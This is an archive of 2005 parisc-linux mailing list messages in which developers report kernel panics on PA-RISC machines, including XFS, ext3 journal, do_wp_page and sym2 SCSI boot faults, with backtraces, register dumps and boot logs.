X-GMX-UID: 9kF5KmN6TlIv47eQeGhrSVVGU2poZZm4
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22343

Hello Grant,

into <http://www.kernel.org/pub/linux/kernel/v2.6/testing/cset/> of today=

I read some bug fix in xfs but not yet in rc4-bk2 patch (most probably in=

bk3)

hth,
    Joel

> -- Original Message --
> Date: Sun, 13 Feb 2005 21:44:45 -0700
> From: Grant Grundler <grundler@parisc-linux.org>
> To: parisc-linux@lists.parisc-linux.org
> Subject: Re: [parisc-linux] BUG XFS 2.6.11-rc4-pa1
> 
> 
> On Sun, Feb 13, 2005 at 09:13:23PM -0700, Grant Grundler wrote:
> > Linux riot 2.6.11-rc4-pa0 #2 SMP Sun Feb 13 19:25:48 PST 2005 parisc6=
4
> GNU/Linux
> ...
> >  IAOQ[0]: xfs_ialloc_read_agi+0x164/0x188 [xfs]
> >  IAOQ[1]: xfs_ialloc_read_agi+0x168/0x188 [xfs]
> 
> I rebooted and tried to resurrect the filesystem but fsck.xfs seems
> to be a NOP and mount refused to mount it:
> 
> riot:/usr/src# mount -t xfs /dev/md0 /mnt
> XFS mounting filesystem md0
> XFS: Log inconsistent (didn't find previous header)
> XFS: failed to find log head
> XFS: log mount/recovery failed: error 5
> XFS: log mount failed
> mount: /dev/md0: can't read superblock
> riot:/usr/src#
> 
> I ran "mkfs -t xfs /dev/md0", mounted md0, and copied the kernel
> source tree back on to /mnt. cvs up -A worked fine. Suggests either
> a rare bug or binary compatibility issue between -rc3 and -rc4.
> 
> I'll let the kernel builds and spew beat on xfs some more tonight.
> 
> grant
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] a b180 panic with 2.6.11-rc3-pa3
Date: Tue, 15 Feb 2005 10:46:50 +0100
Lines: 127
Approved: news@gmane.org
Message-ID: <4209EEB900002402@mail-2-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623667 12693 80.91.229.3 (22 Nov 2014 02:34:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:27 +0000 (UTC)
Cc: List Parisc <parisc-linux@lists.parisc-linux.org>
To: "Max Grabert" <parisc@gmail.com>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Feb 2005 09:47:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx064) with SMTP; 15 Feb 2005 10:47:44 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 12CAC7D62E;
	Tue, 15 Feb 2005 02:47:41 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24147-08; Tue, 15 Feb 2005 02:47:40 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1B6427D629;
	Tue, 15 Feb 2005 02:47:40 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 453717D626
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 15 Feb 2005 02:47:26 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24100-09 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 15 Feb 2005 02:47:25 -0700 (MST)
Original-Received: from mrq-1.tiscali.sys (unknown [195.130.225.11])
	by free.linux.hp.com (Postfix) with ESMTP id 6C99B7D615
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 15 Feb 2005 02:47:25 -0700 (MST)
Original-Received: from mail-2-bnl.mail.tiscali.sys ([10.39.115.132]
	helo=mail-2-bnl.tiscali.it)
	by mrq-1.tiscali.sys with esmtp (Exim 4.43)
	id 1D0zIB-0000fk-Lo; Tue, 15 Feb 2005 10:46:52 +0100
Original-Received: from [57.67.177.33] by mail-2-bnl.tiscali.it with HTTP;
	Tue, 15 Feb 2005 10:46:50 +0100
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: IKl6Kk5vTlIv47eQeGhrSVVGU2poZVn+
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22344

Hello Max,

>
> On Mon, 14 Feb 2005 11:30:43 +0000, Joel Soete <soete.joel@tiscali.be>
wrote:
> > Hi all,
> >
> > Don't know if somebody else also emcountered such panic:
> > Backtrace:
>
> > [<101bb588>] journal_add_journal_head+0xdc/0x13c
> > [<101b4dd8>] journal_dirty_data+0x64/0x1b0
> > [<101a6be4>] ext3_journal_dirty_data+0x1c/0x60
> > [<101a69a8>] walk_page_buffers+0xe0/0xf0
> > [<101a72b8>] ext3_ordered_writepage+0x168/0x1fc
> > [<1018d770>] mpage_writepages+0x28c/0x3a0
> > [<1018bae4>] __sync_single_inode+0x5c/0x278
> > [<1018bd68>] __writeback_single_inode+0x68/0x168
> > [<1018c034>] sync_sb_inodes+0x1cc/0x310
> > [<1018c1e8>] writeback_inodes+0x70/0xd4
> > [<10149088>] background_writeout+0xb4/0x10c
> > [<10149e40>] __pdflush+0x138/0x204
> > [<10149f2c>] pdflush+0x20/0x2c
> > [<1013c564>] kthread+0xdc/0xe4
> > [<1010ac5c>] ret_from_kernel_thread+0x1c/0x24
> >
> > [...]
> >
> > IASQ: 00000000 00000000 IAOQ: 10201f1c 10201f20
> > IIR: 0ed91222    ISR: 00000000  IOR: 20702352
> > CPU:        0   CR30: 17c84000 CR31: 103d0000
> > ORIG_R28: 17c84980
> > IAOQ[0]: memset+0x24/0xa8
> > IAOQ[1]: memset+0x28/0xa8
> > RP(r2): journal_add_journal_head+0xdc/0x13c
> > Kernel panic - not syncing: Kernel Fault
> >
> > Here on a b180 running 2.6.11-rc3-pa3 (while the system should be idl=
e)
>
mmm today on this same system with rc4-pa1 now:
Backtrace:
 [<101bb644>] journal_add_journal_head+0xdc/0x13c
 [<101b4e94>] journal_dirty_data+0x64/0x1b0
 [<101a6ca0>] ext3_journal_dirty_data+0x1c/0x60
 [<101a6a64>] walk_page_buffers+0xe0/0xf0
 [<101a6ddc>] ext3_ordered_commit_write+0x68/0x144
 [<10144db8>] generic_file_buffered_write+0x23c/0x68c
 [<10145474>] __generic_file_aio_write_nolock+0x26c/0x450
 [<101458c0>] generic_file_aio_write+0x88/0x164
 [<101a3858>] ext3_file_write+0x34/0xd0
 [<101658b4>] do_sync_write+0xb4/0xf4
 [<101659d4>] vfs_write+0xe0/0x158
 [<10165b50>] sys_write+0x5c/0xa8
 [<1010c120>] syscall_exit+0x0/0x14
...
IASQ: 00000000 00000000 IAOQ: 10201fe0 10201fe4
 IIR: 0ed91222    ISR: 00000000  IOR: d2b304d2
 CPU:        0   CR30: 108e8000 CR31: 103d0000
 ORIG_R28: 108e8900
 IAOQ[0]: memset+0x24/0xa4
 IAOQ[1]: memset+0x28/0xa4
 RP(r2): journal_add_journal_head+0xdc/0x13c
Kernel panic - not syncing: Kernel Fault

This time while 'apt-get dist-update' on a chroot disk :-(

I tried to reboot but pdc didn't find any more boot devices:
...
Main Menu: Enter command > sea
...
   Path Number        Device Path              Device Type
   -----------        -----------------        -----------
Error detected on single-ended FWSCSI interface.
No devices found.
...

even after a reset.
I have to cycle power off/on the external disk (a fw scsi disk connected
to the fw ctrlr) to be able to reboot then complete the apt update withou=
t
any pb??

...
> Pretty much the same output (I think I once posted it on the mailing
> list), but I only got this when I tried out some graphics card (ATI,
> Voodoo2 or Matrox?) and shortly after xdm started (and not every
> time). I think 64bit kernels triggered it more easily.
>
Here not additional pci card
...
>
> > Any idea about known ext3 pb?
>
> Good question. I have a different problem than the one above: In very
> rare occations, when transferring very big files onto a USB-hdd
> (ext3), the files are being silently corrupted (no kernel log
> messages).
mmm no such device available here to make test (sorry) (on a b2k obviousl=
y
;-) )

> But I don't know whether that problem is related to ext3 or
> usb-storage or a faulty h/w.
>
Considering the strange status in which was the external disk, it should
be possible to be some h/w failure demonstration occuring from time to ti=
me??

> Back to your problem: I don't know/think that there are any severe
> problems with ext3, at least I was using it on PA for a long time and
> it worked quite well.
The same for me ;-)

> But there is always the possibility that there
> are some hidden bugs that are triggered in rare situations however ...
>
Thanks for feedback,
    Joel


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] BUG 2.6.11-rc3-pa3 (I think) do_wp_page
Date: Tue, 15 Feb 2005 23:51:44 -0700
Lines: 47
Approved: news@gmane.org
Message-ID: <20050216065144.GA5251@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623668 12695 80.91.229.3 (22 Nov 2014 02:34:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:28 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Feb 2005 06:51:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx071) with SMTP; 16 Feb 2005 07:51:17 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 22C057D615;
	Tue, 15 Feb 2005 23:51:33 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29015-05; Tue, 15 Feb 2005 23:51:33 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3D5CD7D626;
	Tue, 15 Feb 2005 23:51:32 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 35A4E7D60F
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 15 Feb 2005 23:51:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29015-02 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 15 Feb 2005 23:51:28 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id BBFD57D60D
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 15 Feb 2005 23:51:28 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 56821298034
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 15 Feb 2005 23:51:44 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05113-05 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 15 Feb 2005 23:51:44 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 0BB3429802F; Tue, 15 Feb 2005 23:51:44 -0700 (MST)
Content-Disposition: inline
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: B4F5Kkg0TlIv47eQeGhrSVVGU2poZZmN
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22345


*sigh*
gsyprf11 just panic'd (Data Page Fault) with 2.6.11-rc3-pa3 (I think).
I don't know if anything special was running - just gcc builds?

grant


Backtrace:
 [<000000001019b6c4>] do_wp_page+0x434/0xd88
 [<000000001019d99c>] handle_mm_fault+0x34c/0x9c0
 [<000000001011314c>] do_page_fault+0x39c/0x458
 [<0000000010115050>] handle_interruption+0x328/0x790
 [<00000000101070a4>] intr_check_sig+0x0/0xc


Kernel Fault: Code=15 regs=0000001108ddc570 (Addr=0000001110000000)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001001111111100001111 Not tainted
r00-03  0000000000000000 0000000000000000 000000001019b6c4 0000001100380fc8
r04-07  000000001053e620 000000110dafc000 00000000005e30a4 00000001aff7b760
r08-11  00000011002ff720 00000001ad063ac0 00000010fffffb25 0000001104d07f18
r12-15  00000011021ac008 00000001ad063b38 00000000000d8ac8 00000000000d8708
r16-19  00000011034dbb38 0000000000000000 0000000000000000 005e818000000006
r20-23  00000007005e8498 0000000300000004 005e850800000005 00000000105cd098
r24-27  000000000800000f 0000001110000000 000000110dafd000 000000001053e620
r28-31  00000011002ff720 0000001108ddc540 0000001108ddc570 00000000404620db

sr0-3   00000000059df800 00000000059e3800 0000000000000000 00000000059df800
sr4-7   0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000101012c4 00000000101012c8
 IIR: 0f2010d3    ISR: 0000000000000000  IOR: 0000001110000000
 CPU:        0   CR30: 0000001108ddc000 CR31: 0000000010508000
 ORIG_R28: 0000000000000000
 IAOQ[0]: copy_user_page_asm+0xa4/0xb0
 IAOQ[1]: copy_user_page_asm+0xa8/0xb0
 RP(r2): do_wp_page+0x434/0xd88
Kernel panic - not syncing: Kernel Fault

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] BUG 2.6.11-rc4-pa1 (plus) sym2 panic
Date: Wed, 16 Feb 2005 00:41:46 -0700
Lines: 311
Approved: news@gmane.org
Message-ID: <20050216074146.GA6020@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623668 12697 80.91.229.3 (22 Nov 2014 02:34:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: willy@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Feb 2005 07:41:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx016) with SMTP; 16 Feb 2005 08:41:12 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1C2F17D615;
	Wed, 16 Feb 2005 00:41:38 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29767-05; Wed, 16 Feb 2005 00:41:37 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1BE3F7D626;
	Wed, 16 Feb 2005 00:41:37 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3DFC87D60F
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 16 Feb 2005 00:41:33 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29592-06 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 16 Feb 2005 00:41:32 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 822437D60D
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 16 Feb 2005 00:41:32 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 0972C298034;
	Wed, 16 Feb 2005 00:41:48 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06034-02; Wed, 16 Feb 2005 00:41:46 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 2EA8129802F; Wed, 16 Feb 2005 00:41:46 -0700 (MST)
Content-Disposition: inline
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: e5V5KpV2TlIv47eQeGhrSVVGU2poZRmJ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22346


Willy,
I just tried to boot top of branch kernel on gsyprf11
and it data page faulted in sym2 at boot time.
I thought this bug got fixed already...*sigh*

You are welcome to use gsyprf11 for debugging if
jda doesn't need it urgently for anything. Please
arrange a time with him offlist.

The "Press Q..." stuff is from "CL" command from GSP.
Please ignore that bit.

thanks,
grant


Firmware Version  42.00

Duplex Console IO Dependent Code (IODC) revision 1

------------------------------------------------------------------------------
   (c) Copyright 1995-2001, Hewlett-Packard Company, All rights reserved

Press Q/q to quit, Enter to continue: 

------------------------------------------------------------------------------

  Processor   Speed            State           CoProcessor State  Cache Size
  Number                                       State              Inst    Data
  ---------  --------   ---------------------  -----------------  ------------
      0      650  MHz   Active                 Functional         750 KB 1.5 MB
      1      650  MHz   Idle                   Functional         750 KB 1.5 MB

  Central Bus Speed (in MHz)  :        120  
  Available Memory            :    8388608  KB
  Good Memory Required        :      25820  KB

   Primary boot path:    0/0/1/1.15          
   Alternate boot path:  0/0/2/1.15          
   Console path:         0/0/4/1.643         
   Keyboard path:        0/0/4/1.0           


---- Main Menu ---------------------------------------------------------------


Press Q/q to quit, Enter to continue: 

     Command                           Description
     -------                           -----------
     BOot [PRI|ALT|<path>]             Boot from specified path
     PAth [PRI|ALT] [<path>]           Display or modify a path
     SEArch [DIsplay|IPL] [<path>]     Search for boot devices

     COnfiguration menu                Displays or sets boot values
     INformation menu                  Displays hardware information
     SERvice menu                      Displays service commands

     DIsplay                           Redisplay the current menu
     HElp [<menu>|<command>]           Display help for menu or command
     RESET                             Restart the system
----
Main Menu: Enter command or menu > bo
Interact with IPL (Y, N, or Cancel)?> y

Booting... 
Boot IO Dependent Code (IODC) revision 1


Press Q/q to quit, Enter to continue: 


HARD Booted.
palo ipl 1.5 root@c3k Fri May 14 16:17:38 MDT 2004

Partition Start(MB) End(MB) Id Type
1               1     513   82 swap
2             514     524   f0 Palo
3             525    2051   83 ext2
4            2052    8682   83 ext2

PALO(F0) partition contains:
    0/vmlinux64 6673841 bytes @ 0x20140000
Current command line:
3/boot/vmlinux-2.6.10-pa6-64SMP root=/dev/sda3 HOME=/ console=ttyS0 TERM=linux
 0: 3/boot/vmlinux-2.6.10-pa6-64SMP


Press Q/q to quit, Enter to continue: 
 1: root=/dev/sda3
 2: HOME=/
 3: console=ttyS0
 4: TERM=linux

<#>    edit the numbered field
'b'    boot with this command line
'r'    restore command line
'l'    list dir
? 0
3/boot/vmlinux-2.6.11-rc4-pa1  
Current command line:
3/boot/vmlinux-2.6.11-rc4-pa1 root=/dev/sda3 HOME=/ console=ttyS0 TERM=linux
 0: 3/boot/vmlinux-2.6.11-rc4-pa1
 1: root=/dev/sda3
 2: HOME=/
 3: console=ttyS0
 4: TERM=linux

<#>    edit the numbered field


Press Q/q to quit, Enter to continue: 
'b'    boot with this command line
'r'    restore command line
'l'    list dir
? b

Command line for kernel: 'root=/dev/sda3 HOME=/ console=ttyS0 TERM=linux palo_kernel=3/boot/vmlinux-2.6.11-rc4-pa1'
Selected kernel: /boot/vmlinux-2.6.11-rc4-pa1 from partition 3
ELF64 executable
Entry 00100000 first 00100000 n 2
Segment 0 load 00100000 size 4513520 mediaptr 0x1000
Segment 1 load 00550000 size 290792 mediaptr 0x44f000
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.6.11-rc4-pa1 (grundler@gsyprf11.external.hp.com) (gcc version 3.4.4 20041218 (prerelease) (Debian 3.4.3-6)) #1 SMP Tue Feb 15 23:18:42 PST 2005
FP[0] enabled: Rev 1 Model 19
The 64-bit Kernel has started...
Determining PDC firmware type: 64 bit PAT.
model 00005e20 00000491 00000000 00000001 73a33d02 100000f0 00000008 000000b2 000000b2

Press Q/q to quit, Enter to continue: 

vers  00000203
CPUID vers 19 rev 8 (0x00000268)
capabilities 0x5
model 9000/800/A500-6X
Memory Ranges:
 0) Start 0x0000000000000000 End 0x00000000efffffff Size   3840 Mb
 1) Start 0x0000000100000000 End 0x00000001ffffffff Size   4096 Mb
 2) Start 0x00000010f0000000 End 0x00000010ffffffff Size    256 Mb
Total Memory: 8192 Mb
SMP: bootstrap CPU ID is 0
Built 3 zonelists
Kernel command line: root=/dev/sda3 HOME=/ console=ttyS0 TERM=linux palo_kernel=3/boot/vmlinux-2.6.11-rc4-pa1
PID hash table entries: 4096 (order: 12, 131072 bytes)
Console: colour dummy device 160x64
Dentry cache hash table entries: 2097152 (order: 12, 16777216 bytes)
Inode-cache hash table entries: 1048576 (order: 11, 8388608 bytes)
Memory: 8388608k available
Mount-cache hash table entries: 256 (order: 0, 4096 bytes)
Brought up 1 CPUs
NET: Registered protocol family 16

Press Q/q to quit, Enter to continue: 

Searching for devices...
Found devices:
1. Crescendo 650 W2 at 0xfffffffffffa0000 [160] { 0, 0x0, 0x5e2, 0x00004 }
2. Crescendo 650 W2 at 0xfffffffffffa2000 [162] { 0, 0x0, 0x5e2, 0x00004 }
3. Memory at 0xfffffffffed08000 [8] { 1, 0x0, 0x09b, 0x00009 }
4. Astro BC Runway Port at 0xfffffffffed00000 [0] { 12, 0x0, 0x582, 0x0000b }
5. Elroy PCI Bridge at 0xfffffffffed30000 [0/0] { 13, 0x0, 0x782, 0x0000a }
6. Elroy PCI Bridge at 0xfffffffffed34000 [0/2] { 13, 0x0, 0x782, 0x0000a }
7. Elroy PCI Bridge at 0xfffffffffed38000 [0/4] { 13, 0x0, 0x782, 0x0000a }
8. Elroy PCI Bridge at 0xfffffffffed3c000 [0/6] { 13, 0x0, 0x782, 0x0000a }
Enabling PDC_PAT chassis codes support.
Releasing cpu 1 now, hpa=fffffffffffa2000
FP[1] enabled: Rev 1 Model 19
CPU(s): 2 x PA8700 (PCX-W2) at 650.000000 MHz
Setting cache flush threshold to 485700 (2 CPUs online)
SBA found Astro 2.1 at 0xfffffffffed00000
LBA version TR4.0 (0x5) found at 0xfffffffffed30000
iosapic: no IRTE for 0000:00:04.0 (IRQ not connected?)
LBA version TR4.0 (0x5) found at 0xfffffffffed34000
LBA version TR4.0 (0x5) found at 0xfffffffffed38000

Press Q/q to quit, Enter to continue: 

LBA version TR4.0 (0x5) found at 0xfffffffffed3c000
SCSI subsystem initialized
unwind_init: start = 0x103ee400, end = 0x10409ec0, entries = 7084
Performance monitoring counters enabled for Crescendo 650 W2
Initializing Cryptographic API
PDC Stable Storage facility v0.09
Soft power switch support not available.
Generic RTC Driver v1.07
Serial: 8250/16550 driver $Revision: 1.90 $ 17 ports, IRQ sharing enabled
ttyS0 at MMIO 0xfffffffff8000000 (irq = 22) is a 16550A
ttyS1 at MMIO 0xfffffffff8000008 (irq = 22) is a 16550A
ttyS2 at MMIO 0xfffffffff8000010 (irq = 22) is a 16550A
ttyS3 at MMIO 0xfffffffff8000038 (irq = 22) is a 16550A
io scheduler noop registered
io scheduler anticipatory registered
io scheduler deadline registered
io scheduler cfq registered
RAMDISK driver initialized: 16 RAM disks of 6144K size 1024 blocksize
loop: loaded (max 8 devices)
sym0: <896> rev 0x7 at pci 0000:00:01.0 irq 19


Press Q/q to quit, Enter to continue: 
sym0: PA-RISC Firmware, ID 7, Fast-40, LVD, parity checking
